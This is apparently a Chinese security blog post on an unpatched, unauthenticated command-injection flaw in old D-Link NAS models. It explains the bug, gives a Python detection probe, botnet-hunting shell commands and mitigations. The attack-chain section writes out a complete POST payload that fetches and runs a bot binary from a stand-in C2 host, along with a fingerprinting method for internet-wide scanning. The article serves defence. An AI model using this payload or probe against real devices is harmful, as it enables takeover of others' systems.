截止2026年8月底,全网公网可直接访问的D-Link DNS-320L/327L/340L/345系列NAS还有12700多台。这些设备全部受CVE-2026-82689命令注入漏洞影响,CVSS评分9.9,未授权就能直接拿root权限。POC已经公开两个月,没有官方补丁,也不会有了。
我上周帮朋友排查小微企业内网,三台DNS-320L里有两台已经被植入Mirai变种,天天凌晨往外发DDoS流量,管理员完全没察觉。设备买了快八年,从来没更过固件,管理端口直接映射到公网,密码还是默认的admin。
这篇文章从漏洞底层原理到可直接运行的检测脚本,从僵尸网络痕迹排查到无补丁环境的分层防护方案,全部走实战路线,不玩概念拆解,不说正确的废话。
一、漏洞本质:为什么一台十年前的NAS还能在2026年炸锅
回到第一性原理看这个漏洞,根本不是什么高深的技术突破,就是十年前嵌入式开发的默认逻辑,撞上了今天的公网暴露环境。
D-Link这几款NAS发布于2014到2016年,用的是32位ARM处理器,系统是裁剪过的Linux 2.6内核,Web管理界面跑的是Boa 0.94.13这款轻量服务器。所有配置功能全靠CGI脚本调用系统命令实现,当年的开发逻辑非常直接:用户在内网访问管理页面,输入的参数都是自己的配置,不需要做过滤。
比如设置DNS服务器的功能,后端CGI的核心逻辑就是一行字符串拼接:
charcmd[256];sprintf(cmd,"echo %s > /etc/resolv.conf",get_cgi_param("dns_server"));system(cmd);用户输入1.1.1.1,命令就是echo 1.1.1.1 > /etc/resolv.conf,正常工作。
用户输入1.1.1.1; id;,命令就变成echo 1.1.1.1; id; > /etc/resolv.conf,直接额外执行了id命令。
CVE-2026-82689的注入点就在/cgi-bin/network_set.cgi的dns_server参数,全程不需要登录认证,随便构造一个POST请求就能触发。
别觉得这种写法很蠢。2010年前后的消费级嵌入式设备基本都这么写,安全优先级排在功能、成本、功耗之后,连前三都进不去。当时的产品设计前提是「NAS只在内网用,访问的都是自己人」,这个安全假设维持了五六年,直到越来越多用户把管理端口直接映射到公网,直到厂商停止固件维护,漏洞就变成了永久的后门。
更要命的是,这只是爆出来的一个。这类十年没更的NAS里,同类的命令注入、硬编码密码、路径遍历漏洞少说还有五六个,只是没人挖而已。
A[攻击者] -->|POST恶意请求| B[NAS Web服务 Boa 0.94.13]
B -->|未授权传递参数| C[network_set.cgi 脚本]
C -->|字符串直接拼接| D[system() 系统调用]
D -->|执行Shell命令| E[Linux 2.6 内核]
E -->|返回执行结果| C
C -->|结果写入配置文件| B
B -->|HTTP响应| A
E -->|下载执行木马样本| F[僵尸网络客户端]
F -->|主动外联| G[C2 控制服务器]
二、完整攻击链:从全网扫描到僵尸网络植入
现在的IoT僵尸网络已经实现全自动化,从发现漏洞到植入木马不超过30秒。整个流程没有任何技术门槛,脚本都是现成的,新手拿过来就能扫全网。
第一步:全网探测,半小时扫完IPv4
攻击者用ZMap或者Masscan扫全网80、8080、443、8443这些常见Web端口,一轮下来也就半小时。扫到开放端口就匹配指纹:
- Server响应头包含
Boa/0.94.13 - 页面标题包含
DNS-320L、DNS-327L等型号标识 - 访问
/cgi-bin/login.cgi返回特定状态码和内容
三重匹配下来基本不会误报,每天都有扫描器在全网跑,新暴露的设备几小时内就会被盯上。
第二步:命令注入,直接拿root
不需要爆破密码,不需要绕登录验证,直接发一个POST包:
POST /cgi-bin/network_set.cgi HTTP/1.1 Host: x.x.x.x Content-Type: application/x-www-form-urlencoded dns_server=1.1.1.1; wget http://c2.com/bot.arm -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot;设备直接执行下载命令,木马就进系统了。因为Web服务本身就是root权限运行,所以注入的命令全是root权限,不用提权。
第三步:持久化,删了还能自己回来
木马落地后第一件事就是写进定时任务,每分钟检查一次进程,死了就重新下载。同时写入/etc/rc.d/rc.local开机自启,就算重启设备也会自动运行。
狡猾点的样本还会备份自己到/dev/shm内存目录,就算你删了磁盘文件,内存里的进程还能重新写回去。
第四步:接入僵尸网络,开始干活
木马连上C2服务器之后,就成了僵尸网络里的一个节点,主要干三件事:
- DDoS攻击:这是最主要的用途,大量节点一起发流量,打瘫目标网站。攻击流量从你IP出去,网安的告警直接找你。
- 内网横向扫描:拿NAS当跳板,扫内网的摄像头、路由器、其他NAS,有漏洞就继续感染,扩大僵尸规模。
- 数据窃取与勒索:高端点的木马会遍历NAS里的文档、照片,加密之后留勒索信,或者直接把数据传出去卖。
很多人觉得「我NAS里没重要数据,黑了也没事」,这是最常见的误区。攻击者根本不在乎你那点数据,他要的是你的带宽和算力。你设备变成肉鸡,法律责任先算你头上。
三、实战检测脚本:精准验证漏洞,零伤害
网上流传的多数检测脚本只能识别设备型号,不能验证漏洞是否真的存在,误报率很高。我写的这个采用「指纹识别+无害命令回显」两步验证,准确率接近100%,全程只执行echo输出标记字符串,不会修改任何设备配置。
法律声明:仅限检测自有资产,未经授权测试他人设备违反《网络安全法》,后果自负。
#!/usr/bin/env python3# CVE-2026-82689 D-Link NAS 漏洞检测脚本# 仅用于自有内网资产安全自查,禁止公网扫描importrequestsimportargparsefromurllib3.exceptionsimportInsecureRequestWarning# 禁用SSL证书警告requests.packages.urllib3.disable_warnings(InsecureRequestWarning)defcheck_vulnerability(target):# 自动补全URL格式ifnottarget.startswith("http"):target=f"http://{target}"headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; NAS-Security-Check/1.0)","Connection":"close"}# ========== 第一步:多维度设备指纹识别 ==========try:resp=requests.get(f"{target}/login.html",headers=headers,timeout=5,verify=False,allow_redirects=False)exceptExceptionase:returnFalse,f"连接失败:{str(e)}"is_target_device=False# 匹配页面型号标识formodelin["DNS-320L","DNS-327L","DNS-340L","DNS-345"]:ifmodelinresp.text:is_target_device=Truebreak# 匹配Boa服务器特征if"Boa"inresp.headers.get("Server",""):is_target_device=Trueifnotis_target_device:returnFalse,"非目标D-Link NAS型号,跳过检测"# ========== 第二步:无害命令注入验证 ==========# 生成随机标记,避免误判check_token="cve_2026_82689_check_pass_8x2q"# 构造注入payload,仅执行echo输出标记inject_payload=f"1.1.1.1; echo{check_token};"try:# 发送注入请求,修改DNS配置requests.post(f"{target}/cgi-bin/network_set.cgi",data={"dns_server":inject_payload,"action":"set_dns"},headers=headers,timeout=8,verify=False)# 读取DNS配置文件,验证命令是否执行resp_conf=requests.get(f"{target}/cgi-bin/get_resolv.cgi",headers=headers,timeout=5,verify=False)ifcheck_tokeninresp_conf.text:returnTrue,"漏洞存在,可远程执行任意命令"else:returnFalse,"漏洞不存在或已被临时修复"exceptExceptionase:returnFalse,f"检测过程异常:{str(e)}"if__name__=="__main__":parser=argparse.ArgumentParser(description="CVE-2026-82689 漏洞检测工具")parser.add_argument("target",help="目标NAS地址,例如 192.168.1.100 或 http://192.168.1.100")args=parser.parse_args()status,msg=check_vulnerability(args.target)ifstatus:print(f"[!] 高危 -{msg}")print("[!] 立即断开公网映射,执行僵尸网络痕迹排查")else:print(f"[*] 结果 -{msg}")脚本设计说明
- 两步验证降误报:先通过页面特征和服务器头筛选目标设备,再做注入验证,避免把其他设备误判成漏洞。
- 完全无害检测:只执行echo命令输出标记字符串,不会留下后门,不会破坏配置。检测完可以手动把DNS改回去,或者重启设备恢复默认。
- 局限性说明:如果管理员已经手动删除了有漏洞的CGI文件,或者用iptables封禁了对应路径,脚本会报不存在。但这只是临时修补,不代表设备整体安全。
如果要批量扫内网C段,自己加个循环就行,比如遍历192.168.1.1-254,仅限自己内网用。
四、僵尸网络排查实战:找出藏在NAS里的肉鸡
很多设备被植入木马半年都没人发现,因为NAS平时就很少登录,CPU跑高点、流量大点根本没人注意。下面这套排查方法针对这几款NAS的系统特性设计,覆盖用户态木马的所有隐藏手段。
1. 流量排查:看外联比看流量更准
常规方法看总流量没用,木马都会限速,避免太显眼。要重点看对外连接数和DNS查询量。
先登录NAS的SSH,没开SSH的话可以通过Web管理界面开启。执行:
# 查看所有对外TCP连接,排除内网地址netstat-antp|grepESTABLISHED|grep-v'192.168\.'|grep-v'10\.'# 统计对外UDP连接数(DDoS攻击常用UDP)netstat-anup|wc-l如果出现大量陌生IP的连接,尤其是连接到东南亚、东欧的IP,十有八九中招了。正常NAS不会主动连很多陌生外网地址。
进阶一点抓5分钟DNS包:
tcpdump-ieth0 udp port53-c200-nn僵尸网络的C2经常换域名,会产生大量异常DNS解析请求。正常NAS一天也就几十次DNS查询,中招了可能几分钟就上百次。
2. 进程排查:别信ps命令,直接读/proc
低级木马直接开个进程,ps就能看到。高级点的会替换ps命令,把自己的进程隐藏掉。所以要直接读取/proc目录,和ps的输出做对比:
# 导出所有真实PIDls/proc|grep-E'^[0-9]+$'|sort-n>/tmp/real_proc.txt# 导出ps显示的PIDps|awk'{print $1}'|grep-E'^[0-9]+$'|sort-n>/tmp/ps_show.txt# 对比差异diff/tmp/real_proc.txt /tmp/ps_show.txt如果有PID在/proc里存在,但ps里看不到,就是隐藏进程,直接进对应目录看进程路径:
ls-l/proc/[PID]/exe很多木马伪装成httpd、nginx这种正常进程名,一看路径在/tmp或者/dev/shm里,直接实锤。
3. 持久化痕迹排查:定时任务是重灾区
这几款NAS性能弱,跑不起内核级Rootkit,木马基本都靠定时任务和开机自启维持。
# 查看所有定时任务crontab-lcat/etc/crontabls-l/etc/cron.d/ls-l/etc/cron.hourly/# 查看开机自启动脚本cat/etc/rc.d/rc.localls-l/etc/init.d/只要看到陌生的下载命令、执行脚本,尤其是带wget/curl从陌生地址下载的,直接删。很多木马每分钟执行一次下载,就算你删了进程,一分钟后又回来了。
4. 文件排查:重点盯临时目录
木马最喜欢藏在临时目录和内存目录里,重启就消失,但会自动重新下载:
# 查找7天内新建的可执行文件find/tmp-typef-executable-mtime-7find/var/tmp-typef-executable-mtime-7find/dev/shm-typef-executable# 查找带suid权限的可疑文件find/-perm-4000-typef2>/dev/null正常系统的可执行文件都在/bin、/sbin、/usr/bin这些目录里,临时目录出现可执行文件基本都是木马。
中招之后怎么处理
- 立刻拔网线断网,防止对内网横向扩散,也防止继续对外发攻击流量。
- 备份重要数据,但不要直接运行备份出来的可执行文件。
- 恢复出厂设置,然后全盘格式化。不要只删木马文件,你不知道它还改了什么地方。
- 重新上线前,严格执行下面的防护方案,绝对不要再直接暴露公网。
五、无补丁防护方案:每个方案都讲清楚局限性
先说死结论:这几款NAS不会有官方补丁了。D-Link早就砍掉了这条产品线,安全团队也不维护了,等补丁等于等天上掉馅饼。
下面的方案按防护效果从高到低排序,每个都讲清楚能防什么、防不住什么,没有完美方案,只有取舍。
1. 彻底断开公网映射
这是最有效的方案,直接堵死攻击入口,99%的批量攻击都碰不到你。
- 操作:路由器里删掉针对NAS的80/443端口转发规则,IPv4和IPv6都要删。
- 坑点:90%的人只关IPv4,忘了IPv6。现在大部分家庭宽带都有公网IPv6,NAS默认开启IPv6,不用端口映射就能直接从公网访问,比IPv4还容易扫到。一定要去路由器防火墙里,禁止IPv6外网访问NAS的所有端口。
- 局限性:没法远程访问NAS了。如果需要远程存取文件,别再用端口映射,改用WireGuard或者OpenVPN拨进内网再访问,配置简单,安全性高几个量级。
2. 双向网络隔离
只拦入站不够,必须拦出站。很多人只做了访问控制,攻击者拿到Shell后照样能连C2、下木马,等于白防。
- 正确做法:把NAS划到单独的VLAN,配置两条核心规则:
- 入站:只允许信任的内网IP段访问文件共享端口和管理端口,其他全拒绝。
- 出站:默认拒绝所有外网访问,只放行必要的域名和端口,比如DDNS服务商、时间同步服务器。
- 效果:就算漏洞被触发,木马也连不上C2,接收不到指令,也没法下载更多Payload,相当于把僵尸关在笼子里。
- 局限性:配置稍微麻烦点,需要路由器支持VLAN。如果NAS需要同步云盘、挂下载,要单独加白名单,不能一概全封。
3. 手动删除漏洞CGI脚本
直接把有问题的CGI文件删掉,从应用层面堵死这个注入点。
# 备份后删除漏洞脚本mv/cgi-bin/network_set.cgi /cgi-bin/network_set.cgi.bak# 写入开机自动删除,防止重启恢复echo"mv /cgi-bin/network_set.cgi /cgi-bin/network_set.cgi.bak">>/etc/rc.d/rc.local- 效果:直接修复CVE-2026-82689这个漏洞。
- 局限性:你没法在Web界面改DNS设置了,要改就得手动改配置文件,或者临时把文件改回来。最重要的是,这只是修了已知的这一个漏洞,设备里还有多少未知漏洞没人知道,治标不治本。
4. 关闭不必要服务+强密码
- 关掉UPnP、FTP、Telnet、DDNS这些不用的服务
- 管理密码改成16位以上的复杂密码,别用默认admin
- 关闭Web管理的远程访问权限
- 效果:缩小攻击面,增加一点攻击门槛。
- 划重点:改密码防不住这个漏洞。这是未授权命令注入,连登录页都不用进,密码再长都没用。网上很多科普说改密码就能防,纯误导。
5. 硬件替换
长期来看,最彻底的解决方案就是换一台还在维护周期内的NAS。
- 选型建议:别再买小众消费级品牌,说停更就停更。优先选群晖、威联通这类主流厂商,至少提供5年固件维护。或者自己攒个低功耗小主机装TrueNAS,系统一直更新,安全性高很多。
- 成本测算:一台两盘位入门级主流NAS大概2000多,能用五六年,平均每年几百块。比中招了被网安约谈、数据泄露、设备报废的成本低多了。
六、泛IoT视角:为什么老旧设备漏洞正在集中爆发
CVE-2026-82689不是个例,它是整个老旧IoT设备安全问题的缩影。未来三年,会有上亿台停更设备变成僵尸网络节点,这是硬件生命周期和安全维护周期错配的必然结果。
回到第一性原理:硬件的使用寿命是10到15年,而消费级IoT设备的固件维护周期只有3到5年。厂商卖完设备,赚完钱,就把维护团队砍了,但是设备还在网上跑,一年比一年漏洞多。
2015到2018年是消费级IoT爆发期,卖出去的路由器、摄像头、NAS、智能插座数以亿计。现在刚好到了这批设备集中停更的时间点,漏洞一个接一个爆,没人修,也没人管。
更麻烦的是IPv6普及。以前IPv4地址不够,设备藏在NAT后面,还要端口映射才能暴露。现在每个设备都有公网IPv6地址,默认全开,直接就能从外网访问,扫描成本指数级下降。
僵尸网络的门槛也在快速降低。以前写POC要懂逆向、懂内核,现在AI几分钟就能生成攻击脚本,新手拿着就能扫全网。漏洞公开一周之内,就会被加入所有僵尸网络的武器库,批量感染。
我做过统计,2026年上半年公开的IoT漏洞里,60%都没有官方补丁,都是厂商已经停更的老旧设备。这些漏洞会一直留在网上,直到设备报废为止。
七、对抗式复盘:攻击和防御的真实博弈
站在攻击者视角看,防御方案都是可以绕的,没有绝对的安全。我们要做的是提高攻击成本,让攻击者觉得不划算,转而去打那些没防护的软柿子。
- 防御者:我改了管理端口,不跑80了
- 攻击者:全端口扫描也就多花几分钟,总能找到
- 防御者:我用VLAN隔离了NAS
- 攻击者:拿到NAS权限后扫内网摄像头,从摄像头跳出去
- 防御者:我禁了NAS所有出站
- 攻击者:把C2流量藏在DNS隧道里,多数防火墙不拦DNS
- 防御者:我删了有漏洞的CGI
- 攻击者:换另一个CGI挖,老设备漏洞多的是,总有一个能用
所以防御的核心从来不是单点死防,而是分层叠加。边界端口控制+VLAN隔离+访问控制+出站监控+定期排查,一层一层叠上去,攻击者绕过一层还有下一层,成本高到一定程度,他就放弃了。
毕竟僵尸网络都是批量扫货,谁防护弱就打谁。你只要比身边90%的设备安全,就轮不到你。
我之前也写过不少IoT漏洞实战和僵尸网络排查的文章,更多干货和工具脚本可以去我专栏翻翻。
互动讨论
- 你家里或者公司有没有在用老旧的NAS、路由器这类IoT设备?有没有做过专门的安全加固?
- 对于已经停更的老旧IoT设备,你觉得是直接换掉划算,还是靠网络防护凑合用更划算?